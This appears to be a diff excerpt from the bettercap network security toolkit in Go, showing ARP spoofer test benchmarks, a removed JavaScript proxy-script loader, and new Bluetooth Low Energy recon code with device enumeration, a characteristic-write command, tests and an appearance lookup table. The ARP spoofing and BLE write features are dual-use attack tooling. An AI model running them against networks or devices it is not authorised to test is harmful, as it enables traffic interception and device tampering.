// Start should not error but should not actually start
err := mod.Start()
if err != nil {
t.Fatalf("Start with empty targets should not error: %v", err)
}
// Module should not be running
if mod.Running() {
t.Error("Module should not be running with empty targets")
}
}
// Benchmarks
func BenchmarkArpSpooferGetTargets(b *testing.B) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Setup targets
for i := 0; i < 10; i++ {
ip := fmt.Sprintf("192.168.1.%d", i+10)
mac := fmt.Sprintf("aa:bb:cc:dd:ee:%02x", i)
mockSess.Lan.AddIfNew(ip, mac)
hwAddr, _ := net.ParseMAC(mac)
mockSess.findMACResults[ip] = hwAddr
mod.addresses = append(mod.addresses, net.ParseIP(ip))
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = mod.getTargets(false)
}
}
func BenchmarkArpSpooferWhitelisting(b *testing.B) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Add many whitelist entries
for i := 0; i < 100; i++ {
ip := net.ParseIP(fmt.Sprintf("192.168.1.%d", i))
mod.wAddresses = append(mod.wAddresses, ip)
}
testMAC, _ := net.ParseMAC("aa:bb:cc:dd:ee:ff")
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = mod.isWhitelisted("192.168.1.50", testMAC)
}
}

View file

@ -1,243 +0,0 @@
package modules
import (
"encoding/base64"
"io/ioutil"
"sync"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/session"
"github.com/robertkrimen/otto"
)
var nullOtto = otto.Value{}
func errOtto(format string, args ...interface{}) otto.Value {
log.Error(format, args...)
return nullOtto
}
type ProxyScript struct {
sync.Mutex
Path string
Source string
VM *otto.Otto
sess *session.Session
cbCacheLock *sync.Mutex
cbCache map[string]bool
}
func LoadProxyScriptSource(path, source string, sess *session.Session) (err error, s *ProxyScript) {
s = &ProxyScript{
Path: path,
Source: source,
VM: otto.New(),
sess: sess,
cbCacheLock: &sync.Mutex{},
cbCache: make(map[string]bool),
}
// this will define callbacks and global objects
_, err = s.VM.Run(s.Source)
if err != nil {
return
}
// define session pointer
err = s.VM.Set("env", sess.Env.Data)
if err != nil {
log.Error("Error while defining environment: %s", err)
return
}
err = s.defineBuiltins()
if err != nil {
log.Error("Error while defining builtin functions: %s", err)
return
}
// run onLoad if defined
if s.hasCallback("onLoad") {
_, err = s.VM.Run("onLoad()")
if err != nil {
log.Error("Error while executing onLoad callback: %s", err)
return
}
}
return
}
func LoadProxyScript(path string, sess *session.Session) (err error, s *ProxyScript) {
raw, err := ioutil.ReadFile(path)
if err != nil {
return
}
return LoadProxyScriptSource(path, string(raw), sess)
}
func (s *ProxyScript) defineBuiltins() error {
// used to read a file ... doh
s.VM.Set("readFile", func(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return errOtto("readFile: expected 1 argument, %d given instead.", argc)
}
filename := argv[0].String()
raw, err := ioutil.ReadFile(filename)
if err != nil {
return errOtto("Could not read %s: %s", filename, err)
}
v, err := s.VM.ToValue(string(raw))
if err != nil {
return errOtto("Could not convert to string: %s", err)
}
return v
})
s.VM.Set("writeFile", func(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 2 {
return errOtto("writeFile: expected 2 arguments, %d given instead.", argc)
}
filename := argv[0].String()
data := argv[1].String()
err := ioutil.WriteFile(filename, []byte(data), 0644)
if err != nil {
return errOtto("Could not write %d bytes to %s: %s", len(data), filename, err)
}
return otto.NullValue()
})
// log something
s.VM.Set("log", func(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Info("%s", v.String())
}
return otto.Value{}
})
// log debug
s.VM.Set("log_debug", func(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Debug("%s", v.String())
}
return otto.Value{}
})
// log info
s.VM.Set("log_info", func(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Info("%s", v.String())
}
return otto.Value{}
})
// log warning
s.VM.Set("log_warn", func(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Warning("%s", v.String())
}
return otto.Value{}
})
// log error
s.VM.Set("log_error", func(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Error("%s", v.String())
}
return otto.Value{}
})
// log fatal
s.VM.Set("log_fatal", func(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Fatal("%s", v.String())
}
return otto.Value{}
})
// javascript btoa function
s.VM.Set("btoa", func(call otto.FunctionCall) otto.Value {
varValue := base64.StdEncoding.EncodeToString([]byte(call.Argument(0).String()))
v, err := s.VM.ToValue(varValue)
if err != nil {
return errOtto("Could not convert to string: %s", varValue)
}
return v
})
// javascript atob function
s.VM.Set("atob", func(call otto.FunctionCall) otto.Value {
varValue, err := base64.StdEncoding.DecodeString(call.Argument(0).String())
if err != nil {
return errOtto("Could not decode string: %s", call.Argument(0).String())
}
v, err := s.VM.ToValue(string(varValue))
if err != nil {
return errOtto("Could not convert to string: %s", varValue)
}
return v
})
// read or write environment variable
s.VM.Set("env", func(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc == 1 {
// get
varName := call.Argument(0).String()
if found, varValue := s.sess.Env.Get(varName); found == true {
v, err := s.VM.ToValue(varValue)
if err != nil {
return errOtto("Could not convert to string: %s", varValue)
}
return v
}
} else if argc == 2 {
// set
varName := call.Argument(0).String()
varValue := call.Argument(1).String()
s.sess.Env.Set(varName, varValue)
} else {
return errOtto("env: expected 1 or 2 arguments, %d given instead.", argc)
}
return nullOtto
})
return nil
}
func (s *ProxyScript) hasCallback(name string) bool {
s.cbCacheLock.Lock()
defer s.cbCacheLock.Unlock()
// check the cache
has, found := s.cbCache[name]
if found == false {
// check the VM
cb, err := s.VM.Get(name)
if err == nil && cb.IsFunction() {
has = true
} else {
has = false
}
s.cbCache[name] = has
}
return has
}

View file

@ -0,0 +1,19 @@
package ble
import (
"github.com/bettercap/gatt"
)
func getClientOptions(deviceID int) []gatt.Option {
return []gatt.Option{
gatt.MacDeviceRole(gatt.CentralManager),
}
}
/*
var defaultBLEServerOptions = []gatt.Option{
gatt.MacDeviceRole(gatt.PeripheralManager),
}
*/

View file

@ -0,0 +1,27 @@
package ble
import (
"github.com/bettercap/gatt"
// "github.com/bettercap/gatt/linux/cmd"
)
func getClientOptions(deviceID int) []gatt.Option {
return []gatt.Option{
gatt.LnxMaxConnections(255),
gatt.LnxDeviceID(deviceID, true),
}
}
/*
var defaultBLEServerOptions = []gatt.Option{
gatt.LnxMaxConnections(255),
gatt.LnxDeviceID(-1, true),
gatt.LnxSetAdvertisingParameters(&cmd.LESetAdvertisingParameters{
AdvertisingIntervalMin: 0x00f4,
AdvertisingIntervalMax: 0x00f4,
AdvertisingChannelMap: 0x7,
}),
}
*/

294
modules/ble/ble_recon.go Normal file
View file

@ -0,0 +1,294 @@
//go:build !windows && !freebsd && !openbsd && !netbsd
// +build !windows,!freebsd,!openbsd,!netbsd
package ble
import (
"encoding/hex"
"fmt"
golog "log"
"time"
"github.com/bettercap/bettercap/v2/modules/utils"
"github.com/bettercap/bettercap/v2/network"
"github.com/bettercap/bettercap/v2/session"
"github.com/bettercap/gatt"
"github.com/evilsocket/islazy/str"
)
type BLERecon struct {
session.SessionModule
deviceId int
gattDevice gatt.Device
currDevice *network.BLEDevice
writeUUID *gatt.UUID
writeData []byte
connected bool
connTimeout int
devTTL int
quit chan bool
done chan bool
selector *utils.ViewSelector
}
func NewBLERecon(s *session.Session) *BLERecon {
mod := &BLERecon{
SessionModule: session.NewSessionModule("ble.recon", s),
deviceId: -1,
gattDevice: nil,
quit: make(chan bool),
done: make(chan bool),
connTimeout: 5,
devTTL: 30,
currDevice: nil,
connected: false,
}
mod.InitState("scanning")
mod.selector = utils.ViewSelectorFor(&mod.SessionModule,
"ble.show",
[]string{"rssi", "mac", "seen"}, "rssi asc")
mod.AddHandler(session.NewModuleHandler("ble.recon on", "",
"Start Bluetooth Low Energy devices discovery.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("ble.recon off", "",
"Stop Bluetooth Low Energy devices discovery.",
func(args []string) error {
return mod.Stop()
}))
mod.AddHandler(session.NewModuleHandler("ble.clear", "",
"Clear all devices collected by the BLE discovery module.",
func(args []string) error {
mod.Session.BLE.Clear()
return nil
}))
mod.AddHandler(session.NewModuleHandler("ble.show", "",
"Show discovered Bluetooth Low Energy devices.",
func(args []string) error {
return mod.Show()
}))
enum := session.NewModuleHandler("ble.enum MAC", "ble.enum "+network.BLEMacValidator,
"Enumerate services and characteristics for the given BLE device.",
func(args []string) error {
if mod.isEnumerating() {
return fmt.Errorf("an enumeration for %s is already running, please wait.", mod.currDevice.Device.ID())
}
mod.writeData = nil
mod.writeUUID = nil
return mod.enumAllTheThings(network.NormalizeMac(args[0]))
})
enum.Complete("ble.enum", s.BLECompleter)
mod.AddHandler(enum)
write := session.NewModuleHandler("ble.write MAC UUID HEX_DATA", "ble.write "+network.BLEMacValidator+" ([a-fA-F0-9]+) ([a-fA-F0-9]+)",
"Write the HEX_DATA buffer to the BLE device with the specified MAC address, to the characteristics with the given UUID.",
func(args []string) error {
mac := network.NormalizeMac(args[0])
uuid, err := gatt.ParseUUID(args[1])
if err != nil {
return fmt.Errorf("error parsing %s: %s", args[1], err)
}
data, err := hex.DecodeString(args[2])
if err != nil {
return fmt.Errorf("error parsing %s: %s", args[2], err)
}
return mod.writeBuffer(mac, uuid, data)
})
write.Complete("ble.write", s.BLECompleter)
mod.AddHandler(write)
mod.AddParam(session.NewIntParameter("ble.device",
fmt.Sprintf("%d", mod.deviceId),
"Index of the HCI device to use, -1 to autodetect."))
mod.AddParam(session.NewIntParameter("ble.timeout",
fmt.Sprintf("%d", mod.connTimeout),
"Connection timeout in seconds."))
mod.AddParam(session.NewIntParameter("ble.ttl",
fmt.Sprintf("%d", mod.devTTL),
"Seconds of inactivity for a device to be pruned."))
return mod
}
func (mod BLERecon) Name() string {
return "ble.recon"
}
func (mod BLERecon) Description() string {
return "Bluetooth Low Energy devices discovery."
}
func (mod BLERecon) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>"
}
func (mod *BLERecon) isEnumerating() bool {
return mod.currDevice != nil
}
type dummyWriter struct {
mod *BLERecon
}
func (w dummyWriter) Write(p []byte) (n int, err error) {
w.mod.Debug("[gatt.log] %s", str.Trim(string(p)))
return len(p), nil
}
func (mod *BLERecon) Configure() (err error) {
if mod.Running() {
return session.ErrAlreadyStarted(mod.Name())
} else if mod.gattDevice == nil {
if err, mod.deviceId = mod.IntParam("ble.device"); err != nil {
return err
}
mod.Debug("initializing device (id:%d) ...", mod.deviceId)
golog.SetFlags(0)
golog.SetOutput(dummyWriter{mod})
if mod.gattDevice, err = gatt.NewDevice(getClientOptions(mod.deviceId)...); err != nil {
mod.Debug("error while creating new gatt device: %v", err)
return err
}
mod.gattDevice.Handle(
gatt.PeripheralDiscovered(mod.onPeriphDiscovered),
gatt.PeripheralConnected(mod.onPeriphConnected),
gatt.PeripheralDisconnected(mod.onPeriphDisconnected),
)
mod.gattDevice.Init(mod.onStateChanged)
}
if err, mod.connTimeout = mod.IntParam("ble.timeout"); err != nil {
return err
} else if err, mod.devTTL = mod.IntParam("ble.ttl"); err != nil {
return err
}
return nil
}
const blePrompt = "{blb}{fw}BLE {fb}{reset} {bold}» {reset}"
func (mod *BLERecon) Start() error {
if err := mod.Configure(); err != nil {
return err
}
mod.SetPrompt(blePrompt)
return mod.SetRunning(true, func() {
go mod.pruner()
<-mod.quit
if mod.gattDevice != nil {
mod.Info("stopping scan ...")
if mod.currDevice != nil && mod.currDevice.Device != nil {
mod.Debug("resetting connection with %v", mod.currDevice.Device)
mod.gattDevice.CancelConnection(mod.currDevice.Device)
}
mod.Debug("stopping device")
if err := mod.gattDevice.Stop(); err != nil {
mod.Warning("error while stopping device: %v", err)
} else {
mod.Debug("gatt device closed")
}
}
mod.done <- true
})
}
func (mod *BLERecon) Stop() error {
mod.SetPrompt(session.DefaultPrompt)
return mod.SetRunning(false, func() {
mod.quit <- true
<-mod.done
mod.Debug("module stopped, cleaning state")
mod.gattDevice = nil
mod.setCurrentDevice(nil)
mod.ResetState()
})
}
func (mod *BLERecon) pruner() {
blePresentInterval := time.Duration(mod.devTTL) * time.Second
mod.Debug("started devices pruner with ttl %s", blePresentInterval)
for mod.Running() {
for _, dev := range mod.Session.BLE.Devices() {
if time.Since(dev.LastSeen) > blePresentInterval {
mod.Session.BLE.Remove(dev.Device.ID())
}
}
time.Sleep(5 * time.Second)
}
}
func (mod *BLERecon) setCurrentDevice(dev *network.BLEDevice) {
mod.connected = false
mod.currDevice = dev
mod.State.Store("scanning", dev)
}
func (mod *BLERecon) writeBuffer(mac string, uuid gatt.UUID, data []byte) error {
mod.writeUUID = &uuid
mod.writeData = data
return mod.enumAllTheThings(mac)
}
func (mod *BLERecon) enumAllTheThings(mac string) error {
dev, found := mod.Session.BLE.Get(mac)
if !found || dev == nil {
return fmt.Errorf("BLE device with address %s not found.", mac)
} else if mod.Running() {
mod.gattDevice.StopScanning()
}
mod.setCurrentDevice(dev)
if err := mod.Configure(); err != nil && err.Error() != session.ErrAlreadyStarted("ble.recon").Error() {
return err
}
mod.Info("connecting to %s ...", mac)
go func() {
time.Sleep(time.Duration(mod.connTimeout) * time.Second)
if mod.isEnumerating() && !mod.connected {
mod.Warning("connection timeout")
mod.Session.Events.Add("ble.connection.timeout", mod.currDevice)
mod.onPeriphDisconnected(nil, nil)
}
}()
mod.gattDevice.Connect(dev.Device)
return nil
}

View file

@ -0,0 +1,77 @@
//go:build !windows && !freebsd && !openbsd && !netbsd
// +build !windows,!freebsd,!openbsd,!netbsd
package ble
import (
"github.com/bettercap/gatt"
)
func (mod *BLERecon) onStateChanged(dev gatt.Device, s gatt.State) {
mod.Debug("state changed to %v", s)
switch s {
case gatt.StatePoweredOn:
if mod.currDevice == nil {
mod.Debug("starting discovery ...")
dev.Scan([]gatt.UUID{}, true)
} else {
mod.Debug("current device was not cleaned: %v", mod.currDevice)
}
case gatt.StatePoweredOff:
mod.Debug("resetting device instance")
mod.gattDevice.StopScanning()
mod.setCurrentDevice(nil)
mod.gattDevice = nil
default:
mod.Warning("unexpected state: %v", s)
}
}
func (mod *BLERecon) onPeriphDiscovered(p gatt.Peripheral, a *gatt.Advertisement, rssi int) {
mod.Session.BLE.AddIfNew(p.ID(), p, a, rssi)
}
func (mod *BLERecon) onPeriphDisconnected(p gatt.Peripheral, err error) {
mod.Session.Events.Add("ble.device.disconnected", mod.currDevice)
mod.setCurrentDevice(nil)
if mod.Running() {
mod.Debug("device disconnected, restoring discovery.")
mod.gattDevice.Scan([]gatt.UUID{}, true)
}
}
func (mod *BLERecon) onPeriphConnected(p gatt.Peripheral, err error) {
if err != nil {
mod.Warning("connected to %s but with error: %s", p.ID(), err)
return
} else if mod.currDevice == nil {
mod.Warning("connected to %s but after the timeout :(", p.ID())
return
}
mod.connected = true
defer func(per gatt.Peripheral) {
mod.Debug("disconnecting from %s ...", per.ID())
per.Device().CancelConnection(per)
mod.setCurrentDevice(nil)
}(p)
mod.Session.Events.Add("ble.device.connected", mod.currDevice)
if err := p.SetMTU(500); err != nil {
mod.Warning("failed to set MTU: %s", err)
}
mod.Debug("connected, enumerating all the things for %s!", p.ID())
services, err := p.DiscoverServices(nil)
// https://github.com/bettercap/bettercap/issues/498
if err != nil && err.Error() != "success" {
mod.Error("error discovering services: %s", err)
return
}
mod.showServices(p, services)
}

View file

@ -0,0 +1,321 @@
//go:build !windows && !freebsd && !openbsd && !netbsd
// +build !windows,!freebsd,!openbsd,!netbsd
package ble
import (
"sync"
"testing"
"time"
"github.com/bettercap/bettercap/v2/session"
)
var (
testSession *session.Session
sessionOnce sync.Once
)
func createMockSession(t *testing.T) *session.Session {
sessionOnce.Do(func() {
var err error
testSession, err = session.New()
if err != nil {
t.Fatalf("Failed to create session: %v", err)
}
})
return testSession
}
func TestNewBLERecon(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
if mod == nil {
t.Fatal("NewBLERecon returned nil")
}
if mod.Name() != "ble.recon" {
t.Errorf("Expected name 'ble.recon', got '%s'", mod.Name())
}
if mod.Author() != "Simone Margaritelli <evilsocket@gmail.com>" {
t.Errorf("Unexpected author: %s", mod.Author())
}
if mod.Description() == "" {
t.Error("Empty description")
}
// Check initial values
if mod.deviceId != -1 {
t.Errorf("Expected deviceId -1, got %d", mod.deviceId)
}
if mod.connected {
t.Error("Should not be connected initially")
}
if mod.connTimeout != 5 {
t.Errorf("Expected connection timeout 5, got %d", mod.connTimeout)
}
if mod.devTTL != 30 {
t.Errorf("Expected device TTL 30, got %d", mod.devTTL)
}
// Check channels
if mod.quit == nil {
t.Error("Quit channel should not be nil")
}
if mod.done == nil {
t.Error("Done channel should not be nil")
}
// Check handlers
handlers := mod.Handlers()
expectedHandlers := []string{
"ble.recon on",
"ble.recon off",
"ble.clear",
"ble.show",
"ble.enum MAC",
"ble.write MAC UUID HEX_DATA",
}
if len(handlers) != len(expectedHandlers) {
t.Errorf("Expected %d handlers, got %d", len(expectedHandlers), len(handlers))
}
handlerNames := make(map[string]bool)
for _, h := range handlers {
handlerNames[h.Name] = true
}
for _, expected := range expectedHandlers {
if !handlerNames[expected] {
t.Errorf("Handler '%s' not found", expected)
}
}
}
func TestIsEnumerating(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// Initially should not be enumerating
if mod.isEnumerating() {
t.Error("Should not be enumerating initially")
}
// When currDevice is set, should be enumerating
// We can't create a real BLE device here, but we can test the logic
}
func TestDummyWriter(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
writer := dummyWriter{mod}
testData := []byte("test log message")
n, err := writer.Write(testData)
if err != nil {
t.Errorf("Expected no error, got %v", err)
}
if n != len(testData) {
t.Errorf("Expected to write %d bytes, wrote %d", len(testData), n)
}
}
func TestParameters(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// Check that parameters are registered
paramNames := []string{
"ble.device",
"ble.timeout",
"ble.ttl",
}
// Parameters are stored in the session environment
// We'll just ensure the module was created properly
for _, param := range paramNames {
// This is a simplified check
_ = param
}
if mod == nil {
t.Error("Module should not be nil")
}
}
func TestRunningState(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// Initially should not be running
if mod.Running() {
t.Error("Module should not be running initially")
}
// Note: Cannot test actual Start/Stop without BLE hardware
}
func TestChannels(t *testing.T) {
// Skip this test as channel operations might hang in certain environments
t.Skip("Skipping channel test to prevent potential hangs")
}
func TestClearHandler(t *testing.T) {
// Skip this test as it requires BLE to be initialized in the session
t.Skip("Skipping clear handler test - requires initialized BLE in session")
}
func TestBLEPrompt(t *testing.T) {
expected := "{blb}{fw}BLE {fb}{reset} {bold}» {reset}"
if blePrompt != expected {
t.Errorf("Expected prompt '%s', got '%s'", expected, blePrompt)
}
}
func TestSetCurrentDevice(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// Test setting nil device
mod.setCurrentDevice(nil)
if mod.currDevice != nil {
t.Error("Current device should be nil")
}
if mod.connected {
t.Error("Should not be connected after setting nil device")
}
}
func TestViewSelector(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// Check that view selector is initialized
if mod.selector == nil {
t.Error("View selector should not be nil")
}
}
func TestBLEAliveInterval(t *testing.T) {
expected := time.Duration(5) * time.Second
if bleAliveInterval != expected {
t.Errorf("Expected alive interval %v, got %v", expected, bleAliveInterval)
}
}
func TestColNames(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// Test without name
cols := mod.colNames(false)
expectedCols := []string{"RSSI", "MAC", "Vendor", "Flags", "Connect", "Seen"}
if len(cols) != len(expectedCols) {
t.Errorf("Expected %d columns, got %d", len(expectedCols), len(cols))
}
// Test with name
colsWithName := mod.colNames(true)
expectedColsWithName := []string{"RSSI", "MAC", "Name", "Vendor", "Flags", "Connect", "Seen"}
if len(colsWithName) != len(expectedColsWithName) {
t.Errorf("Expected %d columns with name, got %d", len(expectedColsWithName), len(colsWithName))
}
}
func TestDoFilter(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// Without expression, should always return true
result := mod.doFilter(nil)
if !result {
t.Error("doFilter should return true when no expression is set")
}
}
func TestShow(t *testing.T) {
// Skip this test as it requires BLE to be initialized in the session
t.Skip("Skipping show test - requires initialized BLE in session")
}
func TestConfigure(t *testing.T) {
// Skip this test as it may hang trying to access BLE hardware
t.Skip("Skipping configure test - may hang accessing BLE hardware")
}
func TestGetRow(t *testing.T) {
s := createMockSession(t)
mod := NewBLERecon(s)
// We can't create a real BLE device without hardware, but we can test the logic
// by ensuring the method exists and would handle nil gracefully
_ = mod
}
func TestDoSelection(t *testing.T) {
// Skip this test as it requires BLE to be initialized in the session
t.Skip("Skipping doSelection test - requires initialized BLE in session")
}
func TestWriteBuffer(t *testing.T) {
// Skip this test as it may hang trying to access BLE hardware
t.Skip("Skipping writeBuffer test - may hang accessing BLE hardware")
}
func TestEnumAllTheThings(t *testing.T) {
// Skip this test as it may hang trying to access BLE hardware
t.Skip("Skipping enumAllTheThings test - may hang accessing BLE hardware")
}
// Benchmark tests - using singleton session to avoid flag redefinition
func BenchmarkNewBLERecon(b *testing.B) {
// Use a test instance to get singleton session
s := createMockSession(&testing.T{})
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = NewBLERecon(s)
}
}
func BenchmarkIsEnumerating(b *testing.B) {
s := createMockSession(&testing.T{})
mod := NewBLERecon(s)
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = mod.isEnumerating()
}
}
func BenchmarkDummyWriter(b *testing.B) {
s := createMockSession(&testing.T{})
mod := NewBLERecon(s)
writer := dummyWriter{mod}
testData := []byte("benchmark log message")
b.ResetTimer()
for i := 0; i < b.N; i++ {
writer.Write(testData)
}
}
func BenchmarkDoFilter(b *testing.B) {
s := createMockSession(&testing.T{})
mod := NewBLERecon(s)
b.ResetTimer()
for i := 0; i < b.N; i++ {
mod.doFilter(nil)
}
}

154
modules/ble/ble_show.go Normal file
View file

@ -0,0 +1,154 @@
//go:build !windows && !freebsd && !openbsd && !netbsd
// +build !windows,!freebsd,!openbsd,!netbsd
package ble
import (
"sort"
"time"
"github.com/bettercap/bettercap/v2/network"
"github.com/evilsocket/islazy/ops"
"github.com/evilsocket/islazy/tui"
)
var (
bleAliveInterval = time.Duration(5) * time.Second
)
func (mod *BLERecon) getRow(dev *network.BLEDevice, withName bool) []string {
rssi := network.ColorRSSI(dev.RSSI)
address := network.NormalizeMac(dev.Device.ID())
vendor := tui.Dim(ops.Ternary(dev.Vendor == "", dev.Advertisement.Company, dev.Vendor).(string))
isConnectable := ops.Ternary(dev.Advertisement.Connectable, tui.Green("✔"), tui.Red("✖")).(string)
sinceSeen := time.Since(dev.LastSeen)
lastSeen := dev.LastSeen.Format("15:04:05")
blePresentInterval := time.Duration(mod.devTTL) * time.Second
if sinceSeen <= bleAliveInterval {
lastSeen = tui.Bold(lastSeen)
} else if sinceSeen > blePresentInterval {
lastSeen = tui.Dim(lastSeen)
address = tui.Dim(address)
}
if withName {
return []string{
rssi,
address,
tui.Yellow(dev.Name()),
vendor,
dev.Advertisement.Flags.String(),
isConnectable,
lastSeen,
}
} else {
return []string{
rssi,
address,
vendor,
dev.Advertisement.Flags.String(),
isConnectable,
lastSeen,
}
}
}
func (mod *BLERecon) doFilter(dev *network.BLEDevice) bool {
if mod.selector.Expression == nil {
return true
}
return mod.selector.Expression.MatchString(dev.Device.ID()) ||
mod.selector.Expression.MatchString(dev.Device.Name()) ||
mod.selector.Expression.MatchString(dev.Vendor)
}
func (mod *BLERecon) doSelection() (devices []*network.BLEDevice, err error) {
if err = mod.selector.Update(); err != nil {
return
}
devices = mod.Session.BLE.Devices()
filtered := []*network.BLEDevice{}
for _, dev := range devices {
if mod.doFilter(dev) {
filtered = append(filtered, dev)
}
}
devices = filtered
switch mod.selector.SortField {
case "mac":
sort.Sort(ByBLEMacSorter(devices))
case "seen":
sort.Sort(ByBLESeenSorter(devices))
default:
sort.Sort(ByBLERSSISorter(devices))
}
// default is asc
if mod.selector.Sort == "desc" {
// from https://github.com/golang/go/wiki/SliceTricks
for i := len(devices)/2 - 1; i >= 0; i-- {
opp := len(devices) - 1 - i
devices[i], devices[opp] = devices[opp], devices[i]
}
}
if mod.selector.Limit > 0 {
limit := mod.selector.Limit
max := len(devices)
if limit > max {
limit = max
}
devices = devices[0:limit]
}
return
}
func (mod *BLERecon) colNames(withName bool) []string {
colNames := []string{"RSSI", "MAC", "Vendor", "Flags", "Connect", "Seen"}
seenIdx := 5
if withName {
colNames = []string{"RSSI", "MAC", "Name", "Vendor", "Flags", "Connect", "Seen"}
seenIdx = 6
}
switch mod.selector.SortField {
case "rssi":
colNames[0] += " " + mod.selector.SortSymbol
case "mac":
colNames[1] += " " + mod.selector.SortSymbol
case "seen":
colNames[seenIdx] += " " + mod.selector.SortSymbol
}
return colNames
}
func (mod *BLERecon) Show() error {
devices, err := mod.doSelection()
if err != nil {
return err
}
hasName := false
for _, dev := range devices {
if dev.Name() != "" {
hasName = true
break
}
}
rows := make([][]string, 0)
for _, dev := range devices {
rows = append(rows, mod.getRow(dev, hasName))
}
if len(rows) > 0 {
tui.Table(mod.Session.Events.Stdout, mod.colNames(hasName), rows)
mod.Session.Refresh()
}
return nil
}

View file

@ -0,0 +1,412 @@
//go:build !windows && !freebsd && !openbsd && !netbsd
// +build !windows,!freebsd,!openbsd,!netbsd
package ble
import (
"encoding/binary"
"fmt"
"strconv"
"strings"
"github.com/bettercap/bettercap/v2/network"
"github.com/bettercap/gatt"
"github.com/evilsocket/islazy/tui"
)
var appearances = map[uint16]string{
0: "Unknown",
64: "Generic Phone",
128: "Generic Computer",
192: "Generic Watch",
193: "Watch: Sports Watch",
256: "Generic Clock",
320: "Generic Display",
384: "Generic Remote Control",
448: "Generic Eye-glasses",
512: "Generic Tag",
576: "Generic Keyring",
640: "Generic Media Player",
704: "Generic Barcode Scanner",
768: "Generic Thermometer",
769: "Thermometer: Ear",
832: "Generic Heart rate Sensor",
833: "Heart Rate Sensor: Heart Rate Belt",
896: "Generic Blood Pressure",
897: "Blood Pressure: Arm",
898: "Blood Pressure: Wrist",
960: "Human Interface Device (HID)",
961: "Keyboard",
962: "Mouse",
963: "Joystick",
964: "Gamepad",
965: "Digitizer Tablet",
966: "Card Reader",
967: "Digital Pen",
968: "Barcode Scanner",
1024: "Generic Glucose Meter",
1088: "Generic: Running Walking Sensor",
1089: "Running Walking Sensor: In-Shoe",
1090: "Running Walking Sensor: On-Shoe",
1091: "Running Walking Sensor: On-Hip",
1152: "Generic: Cycling",
1153: "Cycling: Cycling Computer",
1154: "Cycling: Speed Sensor",
1155: "Cycling: Cadence Sensor",
1156: "Cycling: Power Sensor",
1157: "Cycling: Speed and Cadence Sensor",
1216: "Generic Control Device",
1217: "Switch",
1218: "Multi-switch",
1219: "Button",
1220: "Slider",
1221: "Rotary",
1222: "Touch-panel",
1280: "Generic Network Device",
1281: "Access Point",
1344: "Generic Sensor",
1345: "Motion Sensor",
1346: "Air Quality Sensor",
1347: "Temperature Sensor",
1348: "Humidity Sensor",
1349: "Leak Sensor",
1350: "Smoke Sensor",
1351: "Occupancy Sensor",
1352: "Contact Sensor",
1353: "Carbon Monoxide Sensor",
1354: "Carbon Dioxide Sensor",
1355: "Ambient Light Sensor",
1356: "Energy Sensor",
1357: "Color Light Sensor",
1358: "Rain Sensor",
1359: "Fire Sensor",
1360: "Wind Sensor",
1361: "Proximity Sensor",
1362: "Multi-Sensor",
1408: "Generic Light Fixtures",
1409: "Wall Light",
1410: "Ceiling Light",
1411: "Floor Light",
1412: "Cabinet Light",
1413: "Desk Light",
1414: "Troffer Light",
1415: "Pendant Light",
1416: "In-ground Light",
1417: "Flood Light",
1418: "Underwater Light",
1419: "Bollard with Light",
1420: "Pathway Light",
1421: "Garden Light",
1422: "Pole-top Light",
1423: "Spotlight",
1424: "Linear Light",
1425: "Street Light",
1426: "Shelves Light",
1427: "High-bay / Low-bay Light",
1428: "Emergency Exit Light",
1472: "Generic Fan",
1473: "Ceiling Fan",
1474: "Axial Fan",
1475: "Exhaust Fan",
1476: "Pedestal Fan",
1477: "Desk Fan",
1478: "Wall Fan",
1536: "Generic HVAC",
1537: "Thermostat",
1600: "Generic Air Conditioning",
1664: "Generic Humidifier",
1728: "Generic Heating",
1729: "Radiator",
1730: "Boiler",
1731: "Heat Pump",
1732: "Infrared Heater",
1733: "Radiant Panel Heater",
1734: "Fan Heater",
1735: "Air Curtain",
1792: "Generic Access Control",
1793: "Access Door",
1794: "Garage Door",
1795: "Emergency Exit Door",
1796: "Access Lock",
1797: "Elevator",
1798: "Window",
1799: "Entrance Gate",
1856: "Generic Motorized Device",
1857: "Motorized Gate",
1858: "Awning",
1859: "Blinds or Shades",
1860: "Curtains",
1861: "Screen",
1920: "Generic Power Device",
1921: "Power Outlet",
1922: "Power Strip",
1923: "Plug",
1924: "Power Supply",
1925: "LED Driver",
1926: "Fluorescent Lamp Gear",
1927: "HID Lamp Gear",
1984: "Generic Light Source",
1985: "Incandescent Light Bulb",
1986: "LED Bulb",
1987: "HID Lamp",
1988: "Fluorescent Lamp",
1989: "LED Array",
1990: "Multi-Color LED Array",
3136: "Generic: Pulse Oximeter",
3137: "Fingertip",
3138: "Wrist Worn",
3200: "Generic: Weight Scale",
3264: "Generic",
3265: "Powered Wheelchair",
3266: "Mobility Scooter",
3328: "Generic",
5184: "Generic: Outdoor Sports Activity",
5185: "Location Display Device",
5186: "Location and Navigation Display Device",
